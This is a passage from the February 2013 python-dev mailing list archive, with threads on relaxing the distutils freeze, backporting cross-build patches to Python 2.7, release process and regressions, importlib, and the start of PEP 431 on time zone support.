References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net> <510EAD73.7090406@netwok.org>
Message-ID: <510FFE2B.8010004@egenix.com>

On 03.02.2013 19:33, ?ric Araujo wrote:
>> I vote for removing the "distutils is frozen" principle.
> I?ve also been thinking about that.  There have been two exceptions to
> the freeze, for ABI flags in extension module names and for pycache
> directories.  When the stable ABI was added and MvL wanted to change
> distutils (I don?t know to do what exactly), Tarek stood firm on the
> freeze and asked for any improvement to go into distutils2, and after
> MvL said that he would not contibute to an outside project, we merged d2
> into the stdlib.  Namespace packages did not impact distutils either.
> Now that we?ve removed packaging from the stdlib, we have two Python
> features that are not supported in the standard packaging system, and I
> agree that it is a bad thing for our users.
> 
> I?d like to propose a reformulation of the freeze:
> - refactorings for the sake of cleanup are still shunned
> - fixes to really old bugs that have become the expected behavior are
>   still avoided
> - fixes to follow OS changes are still allowed (we?ve had a number for
>   Debian multiarch, Apple moving stuff around, Windows manifest options
>   changes)
> - support for Python evolutions that involve totally new code, commands
>   or setup parameters are now possible (this enables stable API support
>   as well as a new bdist format)
> - behavior changes to track Python behavior changes are now possible
>   (this enables recognizing namespace packages, unless we decide they
>   need a new setup parameter)
> 
> We?ll probably need to talk this over at PyCon (FYI I won?t be at the
> language summit but I?ll take part in the packaging mini-summit planned
> thanks to Nick).

+1 on lifting the freeze from me.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 04 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From doko at ubuntu.com  Mon Feb  4 21:04:39 2013
From: doko at ubuntu.com (Matthias Klose)
Date: Mon, 04 Feb 2013 21:04:39 +0100
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
Message-ID: <51101457.8090505@ubuntu.com>

Am 03.02.2013 22:20, schrieb Gregory P. Smith:
> On Thu, Jan 31, 2013 at 11:14 PM, Antoine Pitrou <solipsis at pitrou.net>wrote:
> 
>> On Fri, 1 Feb 2013 11:00:24 +1000
>> Nick Coghlan <ncoghlan at gmail.com> wrote:
>>> On Fri, Feb 1, 2013 at 9:50 AM, Antoine Pitrou <solipsis at pitrou.net>
>> wrote:
>>>> On Thu, 31 Jan 2013 23:52:27 +0100 (CET)
>>>> matthias.klose <python-checkins at python.org> wrote:
>>>>> http://hg.python.org/cpython/rev/8ee6d96a1019
>>>>> changeset:   81859:8ee6d96a1019
>>>>> branch:      2.7
>>>>> parent:      81855:df9f8feb7444
>>>>> user:        doko at python.org
>>>>> date:        Thu Jan 31 23:52:03 2013 +0100
>>>>> summary:
>>>>>   - Issue #17086: Backport the patches from the 3.3 branch to
>> cross-build
>>>>>   the package.
>>>>
>>>> You aren't supposed to add new features to bugfix branches. Did you
>>>> have a specific reason to do this?
>>>
>>> One of the reasons for the long maintenance period on 2.7 is to keep
>>> it building as the underlying platforms change. With the rise of ARM
>>> systems, being able to reliably cross-build Python 2.7 for ARM from an
>>> x86_64 system is fairly important.
>>
>> I would like to see a better argument for this. The rise of ARM systems
>> is the rise of ARM systems powerful enough to build Python without
>> cross-compiling (which is why we *now* have ARM buildbots).
>> The very small ARM systems which need cross-compiling have existed for
>> decades.
>>
> 
> It is quite common for developers to build a single code base on a single
> workstation targeting a plethora of platforms all at once. Requiring native
> systems with self hosting tool-chains for builds is a non-starter as those
> often don't exist. Making Python 2.7's configure+makefiles easier to cross
> compile out of the box is a good thing.
> 
> Side note: we really need a cross compiling build-bot host + target system
> or we'll inevitably break this.
> 
> 
>>> That said, as a procedural point for build related new features in
>>> 2.7, I agree they should be proposed, with an explicit rationale, on
>>> python-dev before proceeding with the commit.
>>
>> I think this huge changeset should be reverted. It's a complete failure
>> in terms of procedure and following the rules. "Just because it can be
>> useful" is not a good enough reason to violate our release model
>> without even asking.
>>
> 
> That's up to the 2.7 release manager.  Yes, this could have been done
> better by asking first. But IMNSHO I'd prefer to see it stay in.

I filed Issue #17086, and got feedback from the release manager, which I maybe
interpreted too easily as not objecting.  And it looked like a nice opportunity
to get this into a release (hoping not to listen to another PyCon talk how to
hack cross-builds).

Even for the trunk, getting feed-back for cross-build related issues is
difficult.  Maybe reviewers are turned off by impolite comments in some of the
cross-build related issues in the bug tracker, but that doesn't explain that you
don't get feedback for most of the cross-build issues.

So what I do understand, build-related issues like an arm64 or mingw32 port are
ok for 2.7, if they are stable on the trunk, and communicated on python-dev?

I'll see that I setup a cross buildd building in a cross-build environment and
testing in a chroot with qemu installed. I hope that the buildd setup is able to
support this.

Talking about the release model, yes I think there are some issues:

 - the 2.7 branch is the only branch which doesn't have expected release
   dates on the calendar. And from a distributor/vendor point of view, I
   think yearly releases are too seldom. Such a release could end up
   only up to 24 months later in a (linux) distribution.

 - there were way too may regressions checked in on at least the 2.7
   branch.  Is it just our vcs merge model that we first have to check in
   on the branches, and then merge to the trunk? Afaics python is the
   only project to have such an approach. Others have trunk first, maybe
   with immediate backport, maybe with later backport.

Matthias

PS: Antoine: Please CC the committer for such emails.


From tjreedy at udel.edu  Tue Feb  5 07:13:04 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 05 Feb 2013 01:13:04 -0500
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <51101457.8090505@ubuntu.com>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
	<51101457.8090505@ubuntu.com>
Message-ID: <keq7u1$dg9$1@ger.gmane.org>

On 2/4/2013 3:04 PM, Matthias Klose wrote:

>   - the 2.7 branch is the only branch which doesn't have expected release
>     dates on the calendar.

Which calendar? I see 2.7.4, 3.2.4 (its final release), and 3.3.1 on the 
Release Schecule at python.org.

>     And from a distributor/vendor point of view, I
>     think yearly releases are too seldom. Such a release could end up
>     only up to 24 months later in a (linux) distribution.

Some subset of 'we' proposed 5 instead of 2 years of bugfix support for 
2.7, released 2010 July 4, but no particular interval, especially after 
the first 2 years.

>   - there were way too may regressions checked in on at least the 2.7
>     branch.

Regressions? That normally means adding a bug as part of a patch, 
especially one that was previously fixed. We continually add tests to 
try to prevent that. What period of time do you mean 'were' to refer to?

 >  Is it just our vcs merge model that we first have to check in
>     on the branches, and then merge to the trunk?

Mercurial works best if merges are done in the forward direction. 
However, this is not relevant to 2.7 patches as they are pushed to tip 
but *not* merged. The repository is a two-headed monster ;=).

 >  Afaics python is the
>     only project to have such an approach. Others have trunk first, maybe
>     with immediate backport, maybe with later backport.

If a patch is first commited to tip (for 3.4) and then backported to 
3.3, then when the backport is pushed, a null merge is needed to avoid 
making a third head, and the dag looks messier. (I believe 'null merge' 
is the right term, but I have never done this.) My impression is that 
most 3.x bugfix patches merge forward with little or no change.

-- 
Terry Jan Reedy


From theller at ctypes.org  Wed Feb  6 10:26:38 2013
From: theller at ctypes.org (Thomas Heller)
Date: Wed, 06 Feb 2013 10:26:38 +0100
Subject: [Python-Dev] importlib hooray!
Message-ID: <ket7kb$jic$1@ger.gmane.org>

I have become a fan of the new python 3.3 importlib
in the last few days.

It has allowed me to write a ModuleMapper which I put into
sys.metapath (in sitecustomize.py, for Python 3.3).

This mapper currently does rename modules like 'Queue' or '_winreg'
to the Python3 modules 'queue' or 'winreg' without the need to change
my 2.7 sourcecode (changing the sourcecode is required when using
six.moves to write 2.x/3.x compatible code).

The six.moves approach has another problem with freeze tools (py2exe
for example):  ModuleFinder does not find the moved modules because
it cannot track __import__().


I have also started a new modulefinder which uses importlib to find
modules; this was quite easy since I could copy a lot of code from
importlib._bootstrap.  The great thing is that this new modulefinder
is much better than the old one:  It finds modules in zipped eggs
or other zip-archives which are on sys.path; also it finds the renamed
modules correctly that my ModuleMapper has mapped.


The only thing that I am missing is that it is a bit of guesswork to
find out the type of the module that importlib.find_loader() has found.

Previously imp.find_module returned a tuple containing the type of
module found (like imp.PY_SOURCE), I have to poke around in some
attributes of the result of importlib.find_loader() to guess the type.

Thomas


From chris.jerdonek at gmail.com  Wed Feb  6 11:03:27 2013
From: chris.jerdonek at gmail.com (Chris Jerdonek)
Date: Wed, 6 Feb 2013 02:03:27 -0800
Subject: [Python-Dev] BDFL delegation for PEP 426 + distutils freeze
In-Reply-To: <CAOTb1wfZm8r55yjEyuVyJYz6b769k5ccRJiXnwxfiRPXcOgtAg@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net> <510EAD73.7090406@netwok.org>
	<CAOTb1wfZm8r55yjEyuVyJYz6b769k5ccRJiXnwxfiRPXcOgtAg@mail.gmail.com>
Message-ID: <CAOTb1wc=8hyXCnZCtu7_vFPqjo58BptCYJw0oVr7hPN6da218A@mail.gmail.com>

On Sun, Feb 3, 2013 at 11:40 AM, Chris Jerdonek
<chris.jerdonek at gmail.com> wrote:
> On Sun, Feb 3, 2013 at 10:33 AM, ?ric Araujo <merwok at netwok.org> wrote:
>> Le 03/02/2013 07:48, Antoine Pitrou a ?crit :
>>> I vote for removing the "distutils is frozen" principle.
>> I?ve also been thinking about that.  There have been two exceptions to
>> the freeze, for ABI flags in extension module names and for pycache
>> directories.  When the stable ABI was added and MvL wanted to change
>> distutils (I don?t know to do what exactly), Tarek stood firm on the
>> freeze and asked for any improvement to go into distutils2, and after
>> MvL said that he would not contibute to an outside project, we merged d2
>> into the stdlib.  Namespace packages did not impact distutils either.
>> Now that we?ve removed packaging from the stdlib, we have two Python
>> features that are not supported in the standard packaging system, and I
>> agree that it is a bad thing for our users.
>>
>> I?d like to propose a reformulation of the freeze:
>
> This could be common knowledge, but is the current formulation of the
> freeze spelled out somewhere?

I asked this earlier, but didn't see a response.  Is the freeze stated
somewhere like in a PEP?  If not, can someone state it precisely (e.g.
what's allowed to change and what's not)?

Thanks,
--Chris

From doko at ubuntu.com  Wed Feb  6 14:16:13 2013
From: doko at ubuntu.com (Matthias Klose)
Date: Wed, 06 Feb 2013 14:16:13 +0100
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <keq7u1$dg9$1@ger.gmane.org>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
	<51101457.8090505@ubuntu.com> <keq7u1$dg9$1@ger.gmane.org>
Message-ID: <5112579D.5050701@ubuntu.com>

Am 05.02.2013 07:13, schrieb Terry Reedy:
> On 2/4/2013 3:04 PM, Matthias Klose wrote:
> 
>>   - the 2.7 branch is the only branch which doesn't have expected release
>>     dates on the calendar.
> 
> Which calendar? I see 2.7.4, 3.2.4 (its final release), and 3.3.1 on the Release
> Schecule at python.org.

maybe these are now updated. until recently 3.3.1 was targeted for Nov/Dec 2012,
and 2.7.4 wasn't found on the calendar.

>>   - there were way too may regressions checked in on at least the 2.7
>>     branch.
> 
> Regressions? That normally means adding a bug as part of a patch, especially one
> that was previously fixed. We continually add tests to try to prevent that. What
> period of time do you mean 'were' to refer to?

 - http://bugs.python.org/issue9374
 - http://bugs.python.org/issue15906
 - http://bugs.python.org/issue16012
 - http://bugs.python.org/issue10182
 - http://bugs.python.org/issue16828

not a complete list, all these are past the 2.7.3 release.

>>  Is it just our vcs merge model that we first have to check in
>>     on the branches, and then merge to the trunk?
> 
> Mercurial works best if merges are done in the forward direction. However, this
> is not relevant to 2.7 patches as they are pushed to tip but *not* merged. The
> repository is a two-headed monster ;=).

so it should be possible to delay patches for 2.7 until they don't show issues
in 3.2 or 3.3.

>>  Afaics python is the
>>     only project to have such an approach. Others have trunk first, maybe
>>     with immediate backport, maybe with later backport.
> 
> If a patch is first commited to tip (for 3.4) and then backported to 3.3, then
> when the backport is pushed, a null merge is needed to avoid making a third
> head, and the dag looks messier. (I believe 'null merge' is the right term, but
> I have never done this.) My impression is that most 3.x bugfix patches merge
> forward with little or no change.

so is it only this technical limitation, why the bugfix process is defined this way?


From solipsis at pitrou.net  Wed Feb  6 14:38:21 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 6 Feb 2013 14:38:21 +0100
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
	<51101457.8090505@ubuntu.com>
Message-ID: <20130206143821.06b010ae@pitrou.net>

Le Mon, 04 Feb 2013 21:04:39 +0100,
Matthias Klose <doko at ubuntu.com> a ?crit :
> So what I do understand, build-related issues like an arm64 or
> mingw32 port are ok for 2.7, if they are stable on the trunk, and
> communicated on python-dev?

Making Python build on a new platform is, AFAICT, considered a new
feature, not a bugfix. For example, we support new MSVC versions in the
main development branch, not in bugfix branches.

>  - there were way too may regressions checked in on at least the 2.7
>    branch.  Is it just our vcs merge model that we first have to
> check in on the branches, and then merge to the trunk? Afaics python
> is the only project to have such an approach. Others have trunk
> first, maybe with immediate backport, maybe with later backport.

I don't think this has anything to do with the merge model. Regressions
can always happen for things that are not unit-tested.
Also, looking at the regressions you listed in another message, none of
them appeared serious enough.

Regards

Antoine.



From brett at python.org  Wed Feb  6 15:17:49 2013
From: brett at python.org (Brett Cannon)
Date: Wed, 6 Feb 2013 09:17:49 -0500
Subject: [Python-Dev] importlib hooray!
In-Reply-To: <ket7kb$jic$1@ger.gmane.org>
References: <ket7kb$jic$1@ger.gmane.org>
Message-ID: <CAP1=2W6RVv2_LNrvaOTZfTPwGPxXzi-zKAe+zPZZcrrut79zyw@mail.gmail.com>

On Wed, Feb 6, 2013 at 4:26 AM, Thomas Heller <theller at ctypes.org> wrote:

> I have become a fan of the new python 3.3 importlib
> in the last few days.
>

Glad it's working out for you!


>
> It has allowed me to write a ModuleMapper which I put into
> sys.metapath (in sitecustomize.py, for Python 3.3).
>
> This mapper currently does rename modules like 'Queue' or '_winreg'
> to the Python3 modules 'queue' or 'winreg' without the need to change
> my 2.7 sourcecode (changing the sourcecode is required when using
> six.moves to write 2.x/3.x compatible code).
>
> The six.moves approach has another problem with freeze tools (py2exe
> for example):  ModuleFinder does not find the moved modules because
> it cannot track __import__().
>
>
> I have also started a new modulefinder which uses importlib to find
> modules; this was quite easy since I could copy a lot of code from
> importlib._bootstrap.  The great thing is that this new modulefinder
> is much better than the old one:  It finds modules in zipped eggs
> or other zip-archives which are on sys.path; also it finds the renamed
> modules correctly that my ModuleMapper has mapped.
>
>
> The only thing that I am missing is that it is a bit of guesswork to
> find out the type of the module that importlib.find_loader() has found.
>
> Previously imp.find_module returned a tuple containing the type of
> module found (like imp.PY_SOURCE), I have to poke around in some
> attributes of the result of importlib.find_loader() to guess the type.
>

You should be able to tell with an isinstance check on the returned loader
and not have to look at any attributes (e.g. source will subclass
SourceLoader, frozen will subclass FrozenImporter, etc.). If it continues
to be an issue just let me know and we can see what we can do (this is
obviously a niche need and so I would prefer not to change the loader API
to explicitly accommodate this, but it can be done).
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130206/3f965705/attachment.html>

From brian at python.org  Wed Feb  6 21:29:16 2013
From: brian at python.org (Brian Curtin)
Date: Wed, 6 Feb 2013 14:29:16 -0600
Subject: [Python-Dev] PyCon Tickets Almost Sold Out
Message-ID: <CAD+XWwpUpU=h-3Ak3sF3sACfoA52-sc2HoK-8-+dZ2NR4YVahw@mail.gmail.com>

Since the Language Summit is held at PyCon I think this counts as on-topic...

If you're interested in going to the conference, there are under 50
tickets remaining: https://us.pycon.org/2013/registration/

From merwok at netwok.org  Wed Feb  6 21:45:18 2013
From: merwok at netwok.org (=?UTF-8?B?w4lyaWMgQXJhdWpv?=)
Date: Wed, 06 Feb 2013 15:45:18 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 + distutils freeze
In-Reply-To: <CAOTb1wc=8hyXCnZCtu7_vFPqjo58BptCYJw0oVr7hPN6da218A@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net> <510EAD73.7090406@netwok.org>
	<CAOTb1wfZm8r55yjEyuVyJYz6b769k5ccRJiXnwxfiRPXcOgtAg@mail.gmail.com>
	<CAOTb1wc=8hyXCnZCtu7_vFPqjo58BptCYJw0oVr7hPN6da218A@mail.gmail.com>
Message-ID: <5112C0DE.6040705@netwok.org>

Le 06/02/2013 05:03, Chris Jerdonek a ?crit :
> I asked this earlier, but didn't see a response.  Is the freeze
> stated somewhere like in a PEP?

It?s part in notes from the PyCon 2010 Language Summit, part in
unwritten policy in the heads of people involved in distutils bugs these
last years.

> If not, can someone state it precisely (e.g.
> what's allowed to change and what's not)?

Bug fixes are possible; changes to keep working with Python (i.e. pyc
files are generated in pycache directories after 3.2); changes to be
able to build on current OSes (e.g. following Mac dev tools location
change, introduction of Debian multiarch, etc.).

Some bugs have been here for so long that everybody depends on them or
work around them, or they would be extremely painful to fix (e.g. in the
option parsing code) for little benefit, so they are wontfix.

Cleanups, refactorings and improvements were banned by the feature freeze.

Regards

From barry at python.org  Wed Feb  6 22:08:39 2013
From: barry at python.org (Barry Warsaw)
Date: Wed, 6 Feb 2013 16:08:39 -0500
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <20130206143821.06b010ae@pitrou.net>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
	<51101457.8090505@ubuntu.com> <20130206143821.06b010ae@pitrou.net>
Message-ID: <20130206160839.52b17caa@anarchist.wooz.org>

On Feb 06, 2013, at 02:38 PM, Antoine Pitrou wrote:

>Le Mon, 04 Feb 2013 21:04:39 +0100,
>Matthias Klose <doko at ubuntu.com> a ?crit :
>> So what I do understand, build-related issues like an arm64 or
>> mingw32 port are ok for 2.7, if they are stable on the trunk, and
>> communicated on python-dev?
>
>Making Python build on a new platform is, AFAICT, considered a new
>feature, not a bugfix. For example, we support new MSVC versions in the
>main development branch, not in bugfix branches.

Except that 2.7 is an exception to that since it's the last of the Python 2
series, and has a much longer lifespan than normal releases.  I'm pretty sure
we agreed that there would be some exceptions for issues like new platforms
for 2.7.

-Barry

From tjreedy at udel.edu  Thu Feb  7 01:19:50 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 06 Feb 2013 19:19:50 -0500
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <5112579D.5050701@ubuntu.com>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
	<51101457.8090505@ubuntu.com> <keq7u1$dg9$1@ger.gmane.org>
	<5112579D.5050701@ubuntu.com>
Message-ID: <5112F326.4050801@udel.edu>


On 2/6/2013 8:16 AM, Matthias Klose wrote:
> Am 05.02.2013 07:13, schrieb Terry Reedy:
>> On 2/4/2013 3:04 PM, Matthias Klose wrote:

>>>    - there were way too may regressions checked in on at least the 2.7
>>>      branch.

I think you are using 'regression' too freely. But that aside, I think 
you are pointing to a legitimate issue, in the first and maybe second 
example of how to handle 2.7.

>> Regressions? That normally means adding a bug as part of a patch, especially one
>> that was previously fixed. We continually add tests to try to prevent that. What
>> period of time do you mean 'were' to refer to?
>
>   - http://bugs.python.org/issue9374

 From what I read (but it was a long discussion), this patch fixed 
behavior that was agreed to be a bug. The disagreement was whether the 
bug was clear or obscure. Since the bug was long-standing, and since 
much code had accommodated to the bug, and even depended on it, the 
bugfix broke more code than usual. This is not a regression, but is a 
concern, and if I understand correctly, the fix was removed or revised 
for existing versions.

>   - http://bugs.python.org/issue15906

I did not understand the issue, except to note that it affected all 
versions, involved apparent ambiguity in the doc, and was caught by 
ubuntu testing.

>   - http://bugs.python.org/issue16012

This reported a clear regression, on all versions, not just 2.7, that 
was caught before release. As the person responsible for the regression 
said "Too bad it [the regressed behavior] wasn't tested for :(". We 
still need more patches to improve test coverage.

>   - http://bugs.python.org/issue10182

This fixed an all-versions bug in _sre. The initial patch was fine for 
3.x but not sufficiently adjusted for 2.7. Py_BuildValue needed to be 
replaced in certain places with PyInt_FromSsize_t rather than 
PyLong_FromSsize_t to maintain the external API. This was not caught 
because by the stdlib test but was by a third party who tests their 
package with tip. Yay for them. The process worked.

>   - http://bugs.python.org/issue16828

Again, an all-versions issue, not 2.7 specific.
http://bugs.python.org/issue14398
disabled compression of '' in the process of enabling compression of 
 >4GB strings. Not a bad tradeoff, really, but not best. Again, this was 
not caught initially because there *was* no stdlib test for ''. But 
there was in a 2.7 ubuntu package.

> not a complete list, all these are past the 2.7.3 release.

In only 1 of the 5 was there a 2.7-specific regression. I am not sure 
what specific change you would like. In the last three examples, would 
you want 2.7 left with the bug?

>>>   Is it just our vcs merge model that we first have to check in
>>>      on the branches, and then merge to the trunk?
>>
>> Mercurial works best if merges are done in the forward direction. However, this
>> is not relevant to 2.7 patches as they are pushed to tip but *not* merged. The
>> repository is a two-headed monster ;=).
>
> so it should be possible to delay patches for 2.7 until they don't show issues
> in 3.2 or 3.3.

Yes, however
1. Later may mean never.
2. If the regression is 2.7 specific, as with #10182, then not showing 
an issue for 3.x is irrelevant.
3. If the regression is general, then *at present*, the 2.7 regression 
is the most likely to be caught by external testing (mostly by unbuntu). 
That says to me that bug fixes for 2.7 *should* go into tip along with 
the others. I could even argue that the 2.7 fix should go in first.
4. If bugfixes are not applied to 2.7, that increases the distance 
between 2.7 and 3.x and possibly increases the difficulty of writing 2&3 
code.

If we do leave a fixed-in-3.x bug in 2.7, then perhaps, if it is 
possible to detect that the bug is being depended upon, there should be 
a deprecation warning in the code.

--
Terry Jan Reedy

From ncoghlan at gmail.com  Thu Feb  7 08:36:20 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 7 Feb 2013 17:36:20 +1000
Subject: [Python-Dev] Moderating the severity of the distutils freeze
Message-ID: <CADiSq7daqVemnpAFac=zj=aSMj0D6n0mFaVk96un0P21jzsyYA@mail.gmail.com>

On Thu, Feb 7, 2013 at 6:45 AM, ?ric Araujo <merwok at netwok.org> wrote:
> Bug fixes are possible; changes to keep working with Python (i.e. pyc
> files are generated in pycache directories after 3.2); changes to be
> able to build on current OSes (e.g. following Mac dev tools location
> change, introduction of Debian multiarch, etc.).
>
> Some bugs have been here for so long that everybody depends on them or
> work around them, or they would be extremely painful to fix (e.g. in the
> option parsing code) for little benefit, so they are wontfix.
>
> Cleanups, refactorings and improvements were banned by the feature freeze.

I think the points to be clarified are that *new* internal APIs
(including new commands, like bdist_wheel) are legitimate in a feature
release, and internal changes which don't affect APIs (like some of
the tweaks Dave Malcolm and I made to try to make building Python 3
RPMs on RHEL 6 with bdist_rpm less broken) are legitimate in
maintenance releases.

distutils is going to be around for a long time for backwards
compatibility reasons, so if people want to improve it within those
constraints they should be allowed to - we just need to be extra
careful with maintenance releases, by treating even nominally internal
APIs as if they were public. The current interpretation of the
situation as a complete "no few features" freeze is overkill, when the
setuptools/distribute developers will have plenty of time to send up
warning flares during the alpha/beta/rc cycle. An appropriate rule
would be more like "no major refactorings of distutils internals"
(which may indeed mean distutils never supports metadata versions past
1.1).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From regebro at gmail.com  Thu Feb  7 09:45:37 2013
From: regebro at gmail.com (Lennart Regebro)
Date: Thu, 7 Feb 2013 09:45:37 +0100
Subject: [Python-Dev] PEP-0431 update 4
Message-ID: <CAL0kPAXK2+hw4+gyYe=WQorQGQjAT+y=O3c_+mpj=K+4xPDeQQ@mail.gmail.com>

Here is the update of PEP-0431. The major changes are that the new
class now has a lowercase name, to conform to the rest of the datetime
modeule: dsttimezone (i decided against dst_timezone, as non of the
other classes have underscores).

Also the timezone name sets are gone.

Thanks to Nick Coghlan for finding a whole bunch of minor mistakes.

//Lennart

----

PEP: 431
Title: Time zone support improvements
Version: $Revision$
Last-Modified: $Date$
Author: Lennart Regebro <regebro at gmail.com>
BDFL-Delegate: Barry Warsaw <barry at python.org>
Status: Draft
Type: Standards Track
Content-Type: text/x-rst
Created: 11-Dec-2012
Post-History: 11-Dec-2012, 28-Dec-2012, 28-Jan-2013


Abstract
========

This PEP proposes the implementation of concrete time zone support in the
Python standard library, and also improvements to the time zone API to deal
with ambiguous time specifications during DST changes.


Proposal
========

Concrete time zone support
--------------------------

The time zone support in Python has no concrete implementation in the
standard library outside of a tzinfo baseclass that supports fixed offsets.
To properly support time zones you need to include a database over all time
zones, both current and historical, including daylight saving changes.
But such information changes frequently, so even if we include the last
information in a Python release, that information would be outdated just a
few months later.

Time zone support has therefore only been available through two third-party
modules, ``pytz`` and ``dateutil``, both who include and wrap the "zoneinfo"
database. This database, also called "tz" or "The Olsen database", is the
de-facto standard time zone database over time zones, and it is included in
most Unix and Unix-like operating systems, including OS X.

This gives us the opportunity to include the code that supports the zoneinfo
data in the standard library, but by default use the operating system's copy
of the data, which typically will be kept updated by the updating mechanism
of the operating system or distribution.

For those who have an operating system that does not include the zoneinfo
database, for example Windows, the Python source distribution will include a
copy of the zoneinfo database, and a distribution containing the latest
zoneinfo database will also be available at the Python Package Index, so it
can be easily installed with the Python packaging tools such as
``easy_install`` or ``pip``. This could also be done on Unices that are no
longer receiving updates and therefore have an outdated database.

With such a mechanism Python would have full time zone support in the
standard library on any platform, and a simple package installation would
provide an updated time zone database on those platforms where the zoneinfo
database isn't included, such as Windows, or on platforms where OS updates
are no longer provided.

The time zone support will be implemented by making the ``datetime`` module
into a package, and adding time zone support to ``datetime`` based on Stuart
Bishop's ``pytz`` module.


Getting the local time zone
---------------------------

On Unix there is no standard way of finding the name of the time zone that is
being used. All the information that is available is the time zone
abbreviations, such as ``EST`` and ``PDT``, but many of those abbreviations
are ambiguous and therefore you can't rely on them to figure out which time
zone you are located in.

There is however a standard for finding the compiled time zone information
